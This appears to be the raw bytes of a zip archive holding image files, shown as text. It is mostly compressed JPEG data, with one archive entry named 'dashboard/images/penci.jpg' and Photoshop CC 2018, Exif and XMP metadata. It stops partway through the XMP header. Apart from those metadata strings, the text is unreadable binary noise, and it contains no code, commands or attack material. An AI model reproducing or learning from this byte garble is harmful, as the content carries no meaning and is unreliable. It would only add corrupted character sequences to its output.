ۥaW)NPxx0Uqݬ+jѠJ)֙/AEͩl!. |wDܜBw.D87ܴ`>H[Q \nMED8=9r}@ Na.mܒO'M٘ܟMčzUhC\`ggw+Hl/'k]q3C˜$E͎n>mM-&t5A2^^%ӟb@KLSH$'ZO+Lis ȒFRq>&y]Z%T{&]&Obw%-1ђs`q?)UpD6؋KZu>-7r ['
@3bu1dMZMtD5̺	3ȴ:yZd}KZc/'2< f#5M!Z)G2Ln[<V*HkU
qT{'ұ|S ܿTlcz8#ߘ!hK?ZQô|
YW?*5NPmP'S+Nkt^kܛb*p`y6515c8ږoe+
U}Fkn;FHePZ:O"qގf}^:c؜]<fsU}2už
AP8ު9W+TxƷ.멷t̎GyS+u0^>hf\S{ZQ`/fjN@hܷr_'CFAPEtWigTa8^҃Jo&ӱӮFD.toiZʬQYIѽTU2'!гp3)SuqިA&[i,  Su`GBuub4hx*We*~0:Np4BZ9Nk?Q`$ie)2F{5O8L/q|~FvUvtC' ŴLj5rNsUm+\d,6~]^nD;B yu<ْmJ.	O8Lss>tx/N+6oY3v
!ީ|QFO &7Xh2vcuIͯ2[PuM&cb.voL0uWs[ʹjW;ڼ_رw,V9Se-'
{(T<ecmXʎ!zu.όDJǲ|UY-Ϳ5v!4tU42]PmM"'bͭ2҆S.l5^[y<IϣEERQ4«M.5KH䍰b--p?ᫌ<PU~kZ:@X*W`,^傫ܰU{
rUX*[LzVł$6mEo!cdfucfAaM$m)^ǘxj FME,;1{%ҩ]uhX&pok\\HѻFr9ZA0SѣNrK6so2'8

 ny1hLhi@.iߵcpM'\Iv
XJn1iЪqmr2nFZ62rMkRĳ9UZ9<fzt*J؋9rȧNɂ&w*g6]#UwY9ţ8X#x+澤QuZ3ԭi9vQm;A0L5.n(.:,^&;B93/X'!:u,P9Ic)7&LND+  a[*E|Ac3Ы0>P!U7;2$'EhcbA#7oJČ V,XU`XZ
c]//
v!D"rAÖ{Jh:nDsB?"Z`"tܱ5fr=0]Wyjn% }PWPs]N <)m+p/ku3T@;#l|T\xhiO@;@=2THv7갿Ϫ [>8"[M&rm}v`D/갿ߪ[>mV&sbIp܇Biݰu
R'<;Bpͫ˃Bas'XAO+kPsZ<SŦ 'd5/iájQSlgRy؟%o)F;{MjIk~a>ur@_m{Uau=u@9	~Oo\$p#Tװ:<(vc*nyA:hq-{ $EmffHuZY#ڨMQ|iڵ4NuD䨺@iEIJs:m\x]\2UN\3:}778-vnTHv؟OtdcOG7N?0ܨ-'DH !aƵ܂ru|M0({o D+aqveYlm9<x/ԫD <#vՄ/cE 򠷤=.sm6_toPSu&R3lnL{[MIIfNKe$İ{av[&tMisfVzH Uw&rf@fO 4'aڵq'O5ePInx4>ξ5O^5BN5?\j?gOV#
$AW 4,Nyq-BNxI/mv'	s= U sIٞpKO*unm`{,kh<Gmab Issk})l򰦽1΂AoNJsNݪ`+3V-.w'y352iiٯǁ$9yG{$LqX'KshgQ3_7
dPMR$ͮu>+ؘToLxh.O:z4B#dCݘk9UHQ Dg qF!m]Ћ 97n{wjluЩZdcfzch1c)<FcD31ԝ{g 
 O6qqj6c^Ao(;z~ΙvL1X(fv>xDIT,,gv}+GUQ"5G]LhUlLL٦Z?VĎPq|05MCrcou^)E#xJEUjN3|%txs\ϽVU|"TW*IU)NT3cL7ߪ[~Z`ϳ[$	T*_/
؞.3Nz%pYXk#zo[\!N5^x+nũGZW9Xn`;ϳUT8 bz?V"Ye'4'M3).<ۋ;5qޫ0j4UjR&c<ܽQYQ57̷, U'OHk_7=@KK^@qrY·b8:!Xu#-{;w;}K&qݹ:֍Ro죩q 4w*|ZՏ4=ۗ
g[wu]nu[,]nu[,]nujj[[99Ed-+;l+psZ2ٰ蝽]	ؾkV=?Ua_h+(WV4ұnXrýc8a:Z6:Z{0r-hktBy*5ްeqAtA#vy"#Uςu(Negiq̻>iDN{Z#-YF} 7&kc&JZڐlA5s2Lө ZuXQSsIѦXV0F]-t-i۷iTwTw99;w#S9;Oxk5JuTfkaUD)w{ZPI#(;Z^jm{KV"Zs6''~Mך]GqM35(/hTW"Sm.R:*q UATG kGN]􌦇\M٦ 5閡Sy՚$|:Z66]ӵK^}7d枔)Y}	u6[ݲgdژC -S))yGDrr2#SfIgYNאS,Z)տS,RI6Jlff3\w2W(
. FAOJ8GbKk2堍E}#MRY[iZtmUxpy?Gc{=XvSTfƱy4 YmAi*ہmI,{@)E.ޖ(eb4hw͎Ѫd9).ELܯ q DȥS;+rT\ NHA.g g !y l؜Zy}V*bq#^7 2ު302;xzԙη9AsU܀%9`ioOjĆwd;,eZ5NLO hq6w CMӸ f<TRjjl8hnTapcǧ(^}s`Uwlνp7Q[]XXn pVs2z?&Oj_@˻(ՁӼ,UMk1N]T5ηэף Kvƪ+N]!Rwa5*Uy].vORk9#-6Pq!~"6'3S$iv4ʑqfU.\J»a%a^`Nc3ҙh49[#S 
-!AAA榋n[!i\TI Dջ_LDՂ3 z&?_+?;!aXޭ9 e
VO	rpT\{BIRwxLa܀X|8 Kt*8gF
:OH9A-bnwk3RIU;ӌjFs^3go'@\Tpi
M^?\DIC4bfNU-#.ܽIVb{gmX&19`,3(<zdC&sMqnMv[!4vBqh6AU$#3Ԫ\m[0:N6;!Mm63*2tT[T񠖺3l-na2n`;Xx[UhtL΁v!vпρ٧'#<;#zƿ}5)PhZ3X>^><%b_vl5豯Dr?/F	w@!]B+8O鷧hdFVd48EGXjCQªTDx6f;nS,AHwd	@aIONT8D檱l:xXWW ZØ.%ѬlTiCqvC=:)n&:Nu֭B:ZPstcښATmo+xL'sv G1t	Pgυa5qёx=Z#MwVH]sT-9Vc.ш=i#vd\?~zքHOlp莀'b-gjn#2m!~6tF6}3qyQ/Ui6pޫa}檸^n^fXz f\♇>Bx2ufC^pXz9_1kc>en ۵Evy*aiҾϣ&6&c!0˳L,4g2^HH8vʤuϻ6&ջweGSlyuxwU7@uʹε|~zY#j$NfbOSp5Se ҭItz Bc0AK-e9A0d?&=1ɎLrcJBBBV[WWWWK`{'~e3)c[s@ѱ#5ΆGxUH6+j,7F'nuOUJbHr<MygbHl6 
Jx[Oy?wBiqa#f^VX=Z "wݜg[y%9.uJR*TU3ܱn6~tp1hд^y7 6א,kLܸ uTqpˋfVp1*Μ#j@γҩeezBIl4oڧܛD#
tnXWֺlE}.,8gb# yzB	CNiҝ02^RGzq":8HEp:vVNPe" 8uڼWVhu͂XNIYdr=nIH1 ;grp<Ո ͇(A6|xꅠW,,W{ ૽s'1+RA~?UǾvMN{8ɼG:Vjwh)w'[OBavCZbF5[JA0t>+LL>}JFj~?|NV[jb ezkfn"SݴQEQ+fO7HAS{"-h: 8mfb9<uleM=DY]ƈHu7ޚbx=QFMހƐ^ƛ	4rRipP ^M&6&6"oTor7PfJl尨Vag^/|gЭRc8A7X%û^OpsO<wg_{LڕXPMˤsck{k{k{k{k{k{k{k{Oz'Q޳Wd(dP:Cn^LK~a맻VC)o׹;04w. mp<p_ߚtӧHP?b *     !1AQaq 0@P  ?P,s6>CBX`CTj<]CN9pM]»
ãl\TzV`+}TPS
m+zVcF 6/.9Mi "4}#O r˃{SڦsQ#Y=.:2BΣ5Д)fⅴacE04L&ޙ](4k1Ud.	CO-r1J<1V|l:T- ~`c9O 皕viWZ2ߍS>020ڮr'ެ?UaWU._[}# x,
#4A20lx!j?zk^VlLrpT. }=s:>	r˅)?=ʸ|A/2f;=ZbR7g&~:Rzj~/&zWѕUyޫEvl*A$m@MOxoE<d*.A0_)&84\Y{"2_2--}&-7Eeq.\f>H0??!w[:.FaWBD1jVJRKG/R_ԣ-pJ/<K/~W􋀐Rش8#b7.b^vF<P4}E*4c V-\󮫆ۙJ^o/
:z| q#(&I}.8SVGa9l/*b/
F@8KF8u#Muq((! `.
bp]Et|;cA!ķsA)j}	w9;yWS2PÀbYg呞mTT rԪJ!ϏN-uhUj#j|, Gk?#/
SI ZL퉺9 >`}CB#ޡ[9)~tWgzD_}M a
WbG'Jԅ#򉋖>=fcHAwR|DesO Ja=͌Er!CEybҏKʟ[uqE`v+-|~N7\gc)eZH[_cFc#1h˃ࢍiBJ.:ZƫGbG=~I 4ך)W]DvWϥ(][S>yFN`J,W^^;< \zd*ċGe(^bo4Pi"CA6d\DҀa]0`-)5{کϩ, <&V2}PДrVZ1$Dʴ 9lĩcq"lJIr<~uC #/4f0mp6A,5Xu)ȯдF}f^|!Lp/ǁjX)f8VP;r2_߼=ODtVY(dR|JtVX4`pU^<PVzJkK
eagN&JЌ pAx _pR<uP/e<S~܂uX@6]2oRj~~*6#0bu"#TC/c0$
JrxxJ ,F9Y7؃rbڮWDk9Dau.XkKVq
=.Fq/K9.%HQVX<@yEke%=12'ڮF1[9˗K'SH멘`	%	/ʓ#nYCkDh{_z?˗JnA]f*59K[YK0%jrfeot*eҳ+Pz.߹w#B`q4x`w(SQf7hTa1[l
9`O4@gKZ%S+i/9>g-~PVEfyZH͓#L!݉C ͆ځŶmPimJ8`h/^N\qatI JEìօƂ͓ ?X˗-)K)*+w0FUvCOɏ4VEkahjіBl[X'+NeI#?ìoњ`'+A%|(8E0j0nlc(bk uqrgXZ^Xm*ee%_*r]k	A}NAY`,dBrƢR*lB14Fp*&ڲW0ŕbh>l[Ny%,Þ%@Pev	SIWjd27%\C۪ڽqF^{46QAfdE]VGѿIσOe|%˗.PC؋7]8r OG_ KM$(w`= h~mƪMl!~.\ .g?7.2˗R\r˗.\rr.\E9u}PVviUV(v|
9*R	frYm̾İ=0iYhT9=KB.UF%dn)E96mK.@=PEL:W
Y
Jmrq^Iҧ9XVg
_Yr|jpL|{:eɫ	|uʡ8ڳM.>+_ۛQ
!vُ~.\~7W9:
b\~c  g? 1j>yw20PpJ2@.Uv&à ^k\rLWv$1@t:Jj1	P]eB`lf#ܛ8o)Yr^%4D/"KZ;xj2YN#SB@ (c>%5<UVPQ{Im5k;],b|rAw&3AYއey4D(y`)G-s6f׈6Ybyi%m7rrP+atS!PM+p3|GyOв%OdGpQm#|'$SN\錳	w%+cPԧvb0n+s#hk|r9+jJ }BMF\*V7Y轊@Y9=D m%	QFgK ?L\ nGkV9i\JFbepKcܹrLʅNKtuz*ŌL0=%ː4(䇐-X'4NxvcdVGm$;nMXDdr+0pb!ǘpmBa_c,FW(*[w>\T()G&3 OcR\5 qy=2A6&ra"=Xλ! =n\3͉-B⫬.S(FY;+\Ph˩IV֩=ècQĪLnb;A=z䤎@ (QeM҉~:xCʦCMOlF4ŗlnU
 wqVg0BqEF̠[\1 X(0( 5P9])JYz:yHMgoOE#<08tQӨZjVKt +:~V:\4d5ut [0)	L022t+3p5m>f+5!d`0Fr+9%X3H`N˥`u7㸤PUmD:02NT4*h)%]Hi]azYܬQV#] ~eQ.(9dR^2KYV_*P_u(w}˗._Khck?HL4yXjEk#A;E8H]w.,Xv+OANs<Vt|/`m/؂.Jfmdꂒ|zeJ6|'!  ѽcL``%
=>zM׿+١˓>frβ*^\W	 QձDLa>cRKX7  W*85/(v~{Z'V>UqO@CˁKfݢ :RzL}" ɐ;rK8袑U0Dv7jׂ8Utl-x~5qP=\bl2 4M.B$41`@|H
jyB٭ܹpTaCx\fihc:Iz*Su*C!/Δ)gx3Ki7W']B9֦$VLD8({[` UT6'JT/.2SHqD^`(x:hA@!Ew8kZp2N}p0q@0V,lAA(W)@_=MZN`Օ_l)Q$ZxkgRskBP'A:,ч,4 ť&ϼ Tf%jy75y[g؃._ ;rstQc%U^?GlWlNhZ/%Ds]EXvc}˩{>S{ڪq&eCgw!,)fjP
w"Vn/r4gJcRX9@^|]rsT%:`JA2~Ȑ<飼]¹OpѣpPu	@B;eVײj 3O;~icafcY
>^M2Z'%=#ieȺl!校j[(4A!< 5|N{HP=盆s]_bus6kpg
M:Dt?IDm/(B/YcU+@og߈7hm8K]Ro)4cUjsJyiߌ>P!IʹYKfp j̴YB)`GM:B+Y@ qɣLʢL
IAB
)Kc2uxAz.~Mh3]X# zaEѕ*/U1Y^H:Ԩp>Wevd
2qIr*ʡ/Dg}
iovz\G,_2Cf?G(P@ۯ'|v	Wa.Ǧ9$sn|,d ۻoа.|*~'_~'_~ӈq~2~@  .52,rJ*]ґJ(%܅TXm6h;p7]BX{C[̒֭l蚝[0>*p/ ĝf	߈A
X\Y[wFRq[Ccr'r!Ur +|Зd>po1|ƶRwMa$DNiS?Rw`PwGlFψטyz˗.,1dthZϱi~p`֝NwW{)V-0 )94KOdTbqG=J:(7X?Bo= 5rF娢s
	e
lL{_ 5^aE@yH}u^f52:65L| /TUzra9.ŕ-ZŁ)AyV{?-֋r&[]vEl#T$VdGQ[X99u%sBx/́Ďy}tVfCEH3mQWm.0+[5CmTd)-/8@Tb7ab]=} 	ی`N՞@l?te6{k~+1# ;p*TN
`(çc]ubVgk 3:%_W|}x$fZM!
XiҶU Bcdb9#"-KX>3=% h/tEIJ;peeR(~p(=h*ݙOX;s"f$H&=6jL+zO#Wey-jˎ%,0	W0hҳQ)C^`*5]1>ϠcK``AƢxhm|ȀoŎj*i- ^]qU -V9bpEl
91)rGz_O酴'u j:
].ZP9~0Z
VWm<>71z}ȶ2a0vn;l4xefPp5pdͥωo9ϔ|$M^h)rHYzEbxYOX%5<:?*^u1x#
Q<DVΥs`j}Mn+~`P1ɯLzos+z*A_%UnEUs p]g6IJ=5KJkmJ|K<	pP%Odn53iji:\Y}8G݋{px0d+sZ>vt֯$ey`.aomBw9@}|!@[KwV<EY.1\J`0TŷY07*3/ѺmUg#M	*os,G;eXXq5"8_ߙτb +AOa"m	Uo_Dʁ*V_WUN_y)#Dyc[(6{1|K+m1DB[YmQxPx!x3,KZ" 3ut;s#Peب}b(vwUʎC8+s󊋯vxJYx!.Z%Jg?YIFB!
>y8S!C:Vj Eb kd{ )v_?O|q'{E<)O
xS<)O
xS'qQ3s,0۫6(SCp [0SAbY@L 
\l&U~`v]\_yZPGS Z{ufRgK V$ƪ q_#E`0UE,
 O9Ku RELRokVTvyI̺g 
qj6."v&;K	_`SHh9Wϣ4IbiEF"(f!%+$ ܯLK4@%S.^cO vALCH,0XUA2y~EAREuwZtss_̱}E)ƪ/؎L(IcPD}T:P%-2ߙYMϴShPb-Bִ`QFWX7Z cU,+|  ';n`6YYM`eMG`Q\K|y=B?\|(w0m|IJTtwh{|LZMcO~P+y=It3cUuknVT
;m-!2_17P{/&HBח־OЩ~bکdY,K%&DPncXk0wY-Iy;
A-t4#l(j?Fy[,xd[T۲jiUg/7FYL
yZn	`XQ򐊝ZZ$W(L7g̃jXOZ@&G92s]~/8^9fǔ2j{aP ܢk9%	thm~,v@[Ж?&"a Lf,/QɊ%1LKk-RƣR&4
=ыqv6  AoјeBIa=ن=F,b{OLi=eM4W,}R嫗fe
L +.E5Wc
R+T.|y=2iǖP÷λf@j
F*`[fZxeX.jYR(6p)JV/tr.^嚝nV}CsKUdb+7Vt@ѯ͡ ƺy%뚒8TKd~Zc{F#x'ڈDbr8}zy_/KbfijQ6U^%!
DhC M%7d @Yq¥#PdNQ5b	M,6]cWx0WzF6^28ϜgA||ĹAiT@     cZ-_C?hVUeTL_܄Xvų;5/ʭeLZVV|.Jø6܅fN+L|X aK9烃>5sg_f/U Ss&`,~4Q-n*QB(|ck(AF7mq~ЬȍfLGAb<hJ20 8Qr]eLH7/#zK7I_(bkFD+:eA0 ;Ql0|̥jz,kqmXAˁhVv)=YSҞta>0bz!ǻ=CEEUP_Qk#c_/|	
'ah8آ&u9#qxe=|| exÃny[/G)_`!Ƕ<$M(0+*~=F;S%J!+]F[ĵNQ{f#)@X*2-j^^G+gD핃~)n}cqLWpB֑&:.~*S>U3gw	x?%JRc
HwŠr<ݼqbHil_&U`?m|<`| lRNub8P0f#	m[{FP ST4wW>#*Trۻ-UTl{N}UEkwn0- [⛶°hq-(lAv6pB%[-	rr@)tX`[b`:Ӝ?U7r /vsR|bHUE1,D2s:V8URRkYTȂ)&Ȗ뉇1r@DV-cZ	-ZQgȀ!RJ];QWe7E0dsD+õݼLh]+T#3(&D%6f PrU`ez!sl%Ew$jyBKL47#+jB2\J6gKJ2sG`+^G<q}?Wo֡p#iKA(rT5N=Kptg<&y1irvF~Q`oL} E(R7h] q=a{|O TV-O2ۀITzk(;nM,lh5`ULI)Jr5("z( r,ƨ ŝ-	(Rň]x8,Jo[F0]eNq8'ev\)ӅԦkYFщ1|ܴۜUX%Y<0Ĭ )ls`ǿм QGb~~&(|W0HvZkM~Xӗ$^0%Pk?BOп/?bOп/ AGT/39TjՂ(VĠP"Kâ#('zEOEe?EDp`+Yv':.p@^:hXك#\@"ĂT?Ox Cb@@e\TP0֦?i;&aD]*J[P`Cњz5z Sn3<Ȏ 	,JNĨ7fo+%{Mƪa-T@3%a  C       !1AQ"aq 02b#BRr$435STs ? 7=ø>afi$kG'cflX|VvV=ZG {佟|}yy|{Ruޡt!:B B:AfUXV7 IYpO	+K!<9<.iͰkq6'Ic6_Ew'4@޽Nէ*9iJ&!5Ů'GVOy-;)c=9\CXkԨxyCLآG}4ki$y|ѷGL,dcA XYdͤB7da]| 9
!i$,^5Kn#FWK'PiA<I6:||Ibߜn׳ m=؝9β6t8^(E`;5C;>3w,GC^FBEJF͑q 
wsV'|3FWDPf9}kcI{AԠᦻ®p;]^98i"X$eէ7V.d^;j@\ HHñYC]FFWnjPtMeg4tL3|yZK_zLflꡒ#{!ă[C|2K$RƞY4Xq(4pH-ӚsIx4YO>{Bxvb@ړFa&%[}w_)-5kSC#s9U  <KU!Li~8zƝHM;~A=s6*c-lAc;^e	  ý-sH#\%e;t;ٿ^Ct{PW|!1o;zoBW
7q^ ǻZt??\h\>ݦRƓ	ט@DQuEج;]]Ns~gg4|i
t+ڙЯjgB%^΅{S:)(媖qH6ѓd4kyEn@SۻT{jj~}37G꫗:쳷Q194_c{ǸH3 CRZOEMY#$at]-( 6V_#Ām.]-LAnSJrkdp;ݨۗ1RCM]vifsYHw{(~sɰ,ԛ4ȼ1{e&8#+}+esxn'LZv51w|8lm9TcQ?OE*Olv	=mpZBL)̿ꢑ:5G`{Ix-o}῀'v^30#0h|Ǹ悃5l H+L^~\GsiU*Cou=
8̕%[X@;~Hc^7QkHcdcX,(2	qRaKCT*)j6@\,n# *=zYi펭@ko2݂y<24B
Ϳq @v0L ,kGV	>,k	z 5BuR{w5O޴VewOq]m,ƶY5}33H)av>|CV<jvƵGjrd0	\?gvSsl|uRbG5hxM^ڙuE6VkľZGGab{g,a0++4YF[s eKƮ-aDx~ҀA h\R!&	?=ܼgeK#hI}=;EdOtTm\5[]<Q1/Xv|Lݬ>0էE# de27bXP8쾨*MT#J	yꬁX姗wŞ`tQz{8h(wg<trE!cFG%fے6Vfg]xd;}!F8:[Н͑¿[n/Mg;"?((3aR?I&VvL~[|\Ԡӗe5EpD(dlc+#6+<NF ՛sJTCkz6EhxCNh"Kp\:?U ?F9!rsk08/6Uŋ'|F(W0z'vs~kKEٸjʚBU
N.0.X8Lo;2{ӿEj;M4ꏪA ; y0D0PCؠJ@:Gjƴzg$@W'Uoy6ZB1H<x<cCF#/S?hK6  NcsH/`.a+֗^C\Б ^(nтYjwDtkBލooQBX	994E1on$V2~g_<Q+Zޅ~$`gřFb	 b_k1gҾizbClD-˫\Aw=w)qD%\quH$.Cv|AE
{w'­4 C*~UZ?&>]O E  		     !1AQa "q2R0#4BSbr$3Tcs ? QQEQEDr(TYsf?rZOM'e70p#D"?5dY|UJr(<ER{*(r(ʗ.;;=\{p(=ֶ6MsH"4e1iEH=8?碳	:i=쏰.POt@">4Y#b	%d@P{|W_)ֈB<79tXLx|<q0{mQ>XA;matgi5>p6A\  ڗatrͧyv|LߍuG'<%v>$ֈ=@#dH +rEU.[,n%As `Pqlf04AQCl375ěoКЅF}aJGv =QU*TVRZ-68TIcpmWZ"U֝эdrfFǇ6qb=ᯎԴ8afᆺYI X-J<X,^S:ߊZ,RkKd z\Cq8?y5tG+麿w曺4@ZA[H˸ߩGt{ײ/oV`[vS̍i"<FlnV"V#^zfa=~
	0״Ac#I(cNbI#I%n%'I<}`eqXgfWj+Z?b/ni1>Aċuw55yf0EV>U!PAPZ*&enSdpK_/TpQڽQڽJJݩ>W849vKf[~tnx-WT#;${XNZ@ץ&ǘn&tQ4L5P,F{zEd{4JJOء3_aJ4"{h:wuĹkM4nA'R	ԱD[]An
2nӂodfk@:Gj70p$jYyEfWXut2*UkNȊ(tDCBِeqckP6S)P_a	a`kI'Plv.Ŏ@BtD=v2ǩ-bX֛.'͔ڗoFZF>FJ`oukC`YS@`Wy~#4A6Tw{&|ϲT; yekE]j{&=ifg])8lr8LC0Q0<=ނU.d1M@Ѱ={5 ws]T(Vע{dt.kN;I~J'J:r~ ENA}+֟vuuY'AX6&8Hu7_X%G䏣X//?%3|l$Qh1mOCZ(Ly}Bij<C[I^wގy򙇍ÅFaHo3~ 5>8ep,6tvN0m=ׄ]fs j6
|t`:N:Y!,,s3Q\?q8f>6ګ.E?x,o	Z+@4(t\5ca?^"b4uty)K`w!:tA.b[B@:@h޿wm+C-;4cu,-hkl2h%Gt.kŋT<L>FCaV_lÖ H;({k8^B$`'4b;TN
]&VG?6f72I1˜@ y<?G?4'}vJId26Fgi[` *VȋnI/hfZ@ I1>hS0qx86fu :Ьa!Ѵ4[y?	w#t	5<y!e&<'e AG $}`?1fԴP.aҔd"E~ (.phI凅aޜEЍȱj|@6OxMaէڽN'{yQܨxu;e3C#8sl8ON3'W~IoLGH{L!*r8kO3&l'uK*66:,V!q%sb:R[,Or0Fu TR:(l_uѻz8\xN~rRZ>h5UM@1čyuײ/,eq#ֶOt_mL$4C>_ġoREyqS@1`~ jdDߑEnV+j僱"|aə֤ ˗ 9dhkx7 0qǙq2l׹B>]zVק9cUl|nUgnBK㦧5;fjTi0&ys	]DU	<ivxtd;lǻ~^DS4 |LMtYh]j&bӢ^90FьegjMhhsNt'K*457`0yg\t,d
zMWb0ېaFC)\VvԼLN;#tj0>2+N+ M-h,4O PK     0w\?      dashboard/images/penci.jpgnu [        VExif  MM *                  b       j(       1    $   r2       i           -  ' -  'Adobe Photoshop CC 2018 (Macintosh) 2019:02:21 17:22:57                 N      ,                    &      .(             6             H      H    Adobe_CM  Adobe d     			
  H "   	?          	
         	
 3 !1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw 5 !1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw   ? H T[(T
*32H S1lC*PTB]}7+e} Kg'_eqH 	, t	:_M_f7[kml q'#&\Ú|{ں3{:_L8#qfEXW??53:03.FmD3ŞOwK{.j7F÷e<~.SWa:?Ew z(ݎ@Ev$ҝ6$I%I$JRஔšAR Tf-eH
(@'unV;$Clo ? QL 	:lC*^2W`ߑ -O?[+/cygKa?eY\?C?=:Ծe:-$[ncƏ{oNKte^|\q/2+n? _bE9i?fxzl>AЂUTox2\Û}>ck; 	Uh}T̹n践ĵޘ7z^ g2a-o6#]L<~_JzyUzwQv&Y 	[ 1  =;-~&SW}A/c>cuӲ 5ctm;r"߬xæe݌ix?dͳo l"8eQP?:֏
pS]Uُp^ ӵ]Ɂ@ŹSSHe$SH	O+!Ōق
4Ś9#" WA %_ ԅ_v_cOP+tNr)u7el`MeY4;ߵwo/Ԧ?Y=#Vo ^8V e+\ }pi܆z6WTY\ 5C<@eFpgM T?Yzoc ʆAk#:,ߦұ~Ǐ%fֳsYgQs{  o|zhDɫtL|~ю'QΉcmp{\m? FGޯӱɥT7G 3 [촏v@*F?宝  ύPbW92C[~d TXGտJ)Gmɠ	AN
*@c )g0ɣI%8+yQN$I-@rhB%XBSCXv7Աֽ>KY쭊($l @;: _ٍdvͿGWu:e>U6sަ18ʞju{md~}ޥ+Q>u,WXۨs6B;#w'oCYW~_ ,،W K]c1{cq mcߥ{U;}fvEn+_miÞ7X+09m>Z*?Բ]u?n#]B\'k^׳ֺ]ζʩ}W!/v8~  Xw_U?JXPۛEUZӹuCƪ3,~v3U9Yc0ֽyՋ 73kmɣmt]q,s_CqrX{Uw bGSmͥ9{YXgU1GW QWafOQ V P1akoOujAR S[0ʐ)BJtQ2|\Kp^%Ȥ^]_';&P=lM+ewbMxK~qz>g++v#sh}h-{X+kc[ (g{\Hʳ95wkIE  	{ |γ܂2ge!}+is=_ү=O na?)sȭcǱfw;- ؼ${_>H{ {rd9涺
\ Jn7 ѫ Yz~8|}~Gko}_u(5whWY R`75
RGB[S<8 WbO~
>I0ճ*>OPhotoshop 3.0 8BIM     Z %G   Print 8BIM%     EYabY\cU8BIM:                printOutput       PstSbool    Inteenum    Inte    Clrm   printSixteenBitbool    printerNameTEXT        printProofSetupObjc    P r o o f   S e t u p     
proofSetup       Bltnenum   builtinProof   	proofCMYK 8BIM;    -           printOutputOptions       Cptnbool     Clbrbool     RgsMbool     CrnCbool     CntCbool     Lblsbool     Ngtvbool     EmlDbool     Intrbool     BckgObjc         RGBC       Rd  doub@o         Grn doub@o         Bl  doub@o         BrdTUntF#Rlt            Bld UntF#Rlt            RsltUntF#Pxl@r        
vectorDatabool    PgPsenum    PgPs    PgPC    LeftUntF#Rlt            Top UntF#Rlt            Scl UntF#Prc@Y         cropWhenPrintingbool    cropRectBottomlong       cropRectLeftlong       cropRectRightlong       cropRectToplong     8BIM     ,    ,    8BIM&               ?  8BIM     
    8BIM        Z8BIM        8BIM     	         8BIM'     
        8BIM     H /ff  lff       /ff         2    Z         5    -        8BIM     p                8BIM       8BIM         8BIM0     8BIM-         8BIM          @  @    8BIM         8BIM                   null      baseNameTEXT    U s e r     boundsObjc         Rct1       Top long        Leftlong        Btomlong  ,    Rghtlong  N   slicesVlLs   Objc        slice      sliceIDlong       groupIDlong       originenum   ESliceOrigin   autoGenerated    Typeenum   
ESliceType    Img    boundsObjc         Rct1       Top long        Leftlong        Btomlong  ,    Rghtlong  N   urlTEXT         nullTEXT         MsgeTEXT        altTagTEXT        cellTextIsHTMLbool   cellTextTEXT        	horzAlignenum   ESliceHorzAlign   default   	vertAlignenum   ESliceVertAlign   default   bgColorTypeenum   ESliceBGColorType    None   	topOutsetlong       
leftOutsetlong       bottomOutsetlong       rightOutsetlong    8BIM(        ?      8BIM        8BIM    4         H    x`     Adobe_CM  Adobe d     			
  H "   	?          	
         	
 3 !1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw 5 !1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw   ? H T[(T
*32H S1lC*PTB]}7+e} Kg'_eqH 	, t	:_M_f7[kml q'#&\Ú|{ں3{:_L8#qfEXW??53:03.FmD3ŞOwK{.j7F÷e<~.SWa:?Ew z(ݎ@Ev$ҝ6$I%I$JRஔšAR Tf-eH
(@'unV;$Clo ? QL 	:lC*^2W`ߑ -O?[+/cygKa?eY\?C?=:Ծe:-$[ncƏ{oNKte^|\q/2+n? _bE9i?fxzl>AЂUTox2\Û}>ck; 	Uh}T̹n践ĵޘ7z^ g2a-o6#]L<~_JzyUzwQv&Y 	[ 1  =;-~&SW}A/c>cuӲ 5ctm;r"߬xæe݌ix?dͳo l"8eQP?:֏
pS]Uُp^ ӵ]Ɂ@ŹSSHe$SH	O+!Ōق
4Ś9#" WA %_ ԅ_v_cOP+tNr)u7el`MeY4;ߵwo/Ԧ?Y=#Vo ^8V e+\ }pi܆z6WTY\ 5C<@eFpgM T?Yzoc ʆAk#:,ߦұ~Ǐ%fֳsYgQs{  o|zhDɫtL|~ю'QΉcmp{\m? FGޯӱɥT7G 3 [촏v@*F?宝  ύPbW92C[~d TXGտJ)Gmɠ	AN
*@c )g0ɣI%8+yQN$I-@rhB%XBSCXv7Աֽ>KY쭊($l @;: _ٍdvͿGWu:e>U6sަ18ʞju{md~}ޥ+Q>u,WXۨs6B;#w'oCYW~_ ,،W K]c1{cq mcߥ{U;}fvEn+_miÞ7X+09m>Z*?Բ]u?n#]B\'k^׳ֺ]ζʩ}W!/v8~  Xw_U?JXPۛEUZӹuCƪ3,~v3U9Yc0ֽyՋ 73kmɣmt]q,s_CqrX{Uw bGSmͥ9{YXgU1GW QWafOQ V P1akoOujAR S[0ʐ)BJtQ2|\Kp^%Ȥ^]_';&P=lM+ewbMxK~qz>g++v#sh}h-{X+kc[ (g{\Hʳ95wkIE  	{ |γ܂2ge!}+is=_ү=O na?)sȭcǱfw;- ؼ${_>H{ {rd9涺
\ Jn7 ѫ Yz~8|}~Gko}_u(5whWY R`75
RGB[S<8 WbO~
>I0ճ*>O8BIM!     ]       A d o b e   P h o t o s h o p    A d o b e   P h o t o s h o p   C C   2 0 1 8    8BIM    mopt                          <                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    TargetSettings   	    MttCObjc        
NativeQuad       Bl  long       Grn long       Rd  long       Optmbool    Qltylong   <   
blurAmountdoub           embedICCProfilebool    
fileFormatenum   
FileFormat    JPEG   noMatteColorbool    progressivebool    zonedQualityObjc        	ZonedInfo      	channelIDlong   emphasizeTextbool    emphasizeVectorsbool    floorlong    8BIM     -mset           null      Versionlong     8BIM     ms4w   8BIM          7,http://ns.adobe.com/xap/1.0/ <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" 